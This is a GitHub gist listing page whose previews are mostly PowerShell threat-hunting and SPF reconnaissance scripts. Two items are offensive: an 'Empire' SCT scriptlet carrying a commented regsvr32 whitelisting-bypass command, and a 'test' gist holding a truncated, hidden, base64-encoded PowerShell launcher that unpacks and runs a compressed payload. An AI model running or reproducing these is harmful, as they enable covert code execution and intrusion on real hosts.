Skip to content

Instantly share code, notes, and snippets.

View nullbind's full-sized avatar

Scott Sutherland nullbind

View GitHub Profile
@nullbind
nullbind / Invoke-HuntWmiSubscription.ps1
Created May 1, 2019 17:34
Invoke-HuntWmiSubscription.ps1
# Author: Alexander Leary
#--------------------------------------------------------------------------------
# Add-ObjectWMI
#--------------------------------------------------------------------------------
Function local:Add-ObjectWMI{
[CmdletBinding()]
Param(
[Parameter(Mandatory=$true, Position=0, ValueFromPipeline=$true,
ValueFromPipelineByPropertyName=$true, HelpMessage="Name")]
[string]$Name = "",
@nullbind
nullbind / FindFiles.ps1
Created May 1, 2019 17:33
FindFiles.ps1
$allusersstartuP = Invoke-Command -Session (Get-PSSession) -ScriptBlock {Get-childItem "$env:ALLUSERSPROFILE\Microsoft\Windows\Start Menu\Programs\StartUp\" | select fullname}
@nullbind
nullbind / Invoke-HuntEvents.ps1
Created May 1, 2019 17:30
Invoke-HuntEvents.ps1
function Invoke-HuntEvents {
# Set event ids
$x = "4768,4662,1917,216,8224,20001,106,4720,4732"
# Parse into list
$y = $x.Split(',')
# Look up events
@nullbind
nullbind / Invoke-HuntServiceInfo.ps1
Created May 1, 2019 17:29
Invoke-HuntServiceInfo.ps1
Get-WmiObject -Class win32_service | Select Name,ServiceName,Description,PathName,ServiceType,StartMode,Status,InstallDate
#this can be run against all active psremoting sessions
@nullbind
nullbind / Invoke-HuntServiceInfo.ps1
Created May 1, 2019 17:29
Invoke-HuntServiceInfo.ps1
Get-WmiObject -Class win32_service | Select Name,ServiceName,Description,PathName,ServiceType,StartMode,Status,InstallDate
#this can be run against all active psremoting sessions
@nullbind
nullbind / Invoke-HuntRegAutoruns.ps1
Last active May 1, 2019 17:32
Invoke-HuntRegAutoruns.ps1
# use this with powershell remote sessions
# New-PSDrive -PSProvider ActiveDirectory -Name RemoteADS -Root "" -Server a.b.c.d -credential domain\user
# cd RemoteADS:
# Get-ADComputer -Filter * -Properties name | select @{Name="ComputerName";Expression={$_."name"}} | New-PSSession
# Get-PSSession | Invoke-Command -FilePath C:\Invoke-HuntRegAutoruns.ps1
# $Results = Get-PSSession | Invoke-Command -FilePath C:\Invoke-HuntRegAutoruns.ps1
# $ScriptBlock = "ps code"
# Invoke-Command -Session (Get-PSSession) -ScriptBlock {$ScriptBlock}
# Invoke-Command -Session (Get-PSSession) -FilePath C:\Invoke-HuntRegAutoruns.ps1
# $Results | Export-Csv -Notypeinformation results.csv
@nullbind
nullbind / testingthings.sct
Last active May 28, 2020 16:06
testingthings.sct
<?XML version="1.0"?>
<scriptlet>
<registration
description="Empire"
progid="Empire"
version="1.00"
classid="{20001111-0000-0000-0000-0000FEEDACDC}"
>
<!-- regsvr32 /s /i"C:\Bypass\Backdoor.sct" scrobj.dll -->
@nullbind
nullbind / Expand-SPFRecord
Last active November 23, 2020 16:29
Expand-SPFRecord
#$results = Expand-SpfRecord -domain netspi.com -RecurseInclude
#$results | select spfrecord | foreach {$_.spfrecord -split(" ")}
# need to handle the variables - they currently cause errors
# need to parse ipranges and check for owners, check if they can be bought and something in the range can be bought
# need to parse domains, check if any are expired.
<#PSScriptInfo
.VERSION 0.9.0
.GUID 16e3e002-a6d7-4130-b599-5dd23438d194
.AUTHOR Cory Calahan
@nullbind
nullbind / Invoke-SPFCrawl
Last active June 20, 2025 12:16
Invoke-SPFCrawl
<#
# Invoke-SPFCrawl Outline
# check out:
https://github.com/pushsecurity/saas-attacks/blob/main/techniques/dns_reconnaissance/description.md
https://github.com/BishopFox/SpoofcheckSelfTest
https://github.com/binaryfigments/emaildefense - check spf, dmarc, dkim, authenticated data, tlsa, DANE; does not flatten, no owner or other lookup info
- https://pkg.go.dev/github.com/binaryfigments/emaildefense
https://github.com/GlobalCyberAlliance/GCADMARCRiskScanner
@nullbind
nullbind / test
Created October 25, 2018 19:13
test
powershell.exe -nop -w hidden -e aQBmACgAWwBJAG4AdABQAHQAcgBdADoAOgBTAGkAegBlACAALQBlAHEAIAA0ACkAewAkAGIAPQAkAGUAbgB2ADoAdwBpAG4AZABpAHIAKwAnAFwAcwB5AHMAbgBhAHQAaQB2AGUAXABXAGkAbgBkAG8AdwBzAFAAbwB3AGUAcgBTAGgAZQBsAGwAXAB2ADEALgAwAFwAcABvAHcAZQByAHMAaABlAGwAbAAuAGUAeABlACcAfQBlAGwAcwBlAHsAJABiAD0AJwBwAG8AdwBlAHIAcwBoAGUAbABsAC4AZQB4AGUAJwB9ADsAJABzAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ARABpAGEAZwBuAG8AcwB0AGkAYwBzAC4AUAByAG8AYwBlAHMAcwBTAHQAYQByAHQASQBuAGYAbwA7ACQAcwAuAEYAaQBsAGUATgBhAG0AZQA9ACQAYgA7ACQAcwAuAEEAcgBnAHUAbQBlAG4AdABzAD0AJwAtAG4AbwBwACAALQB3ACAAaABpAGQAZABlAG4AIAAtAGMAIAAmACgAWwBzAGMAcgBpAHAAdABiAGwAbwBjAGsAXQA6ADoAYwByAGUAYQB0AGUAKAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABJAE8ALgBTAHQAcgBlAGEAbQBSAGUAYQBkAGUAcgAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABJAE8ALgBDAG8AbQBwAHIAZQBzAHMAaQBvAG4ALgBHAHoAaQBwAFMAdAByAGUAYQBtACgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAASQBPAC4ATQBlAG0AbwByAHkAUwB0AHIAZQBhAG0AKAAsAFsAQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAJwAnAEgANABzAEkAQQBPAGsAVQAwAGw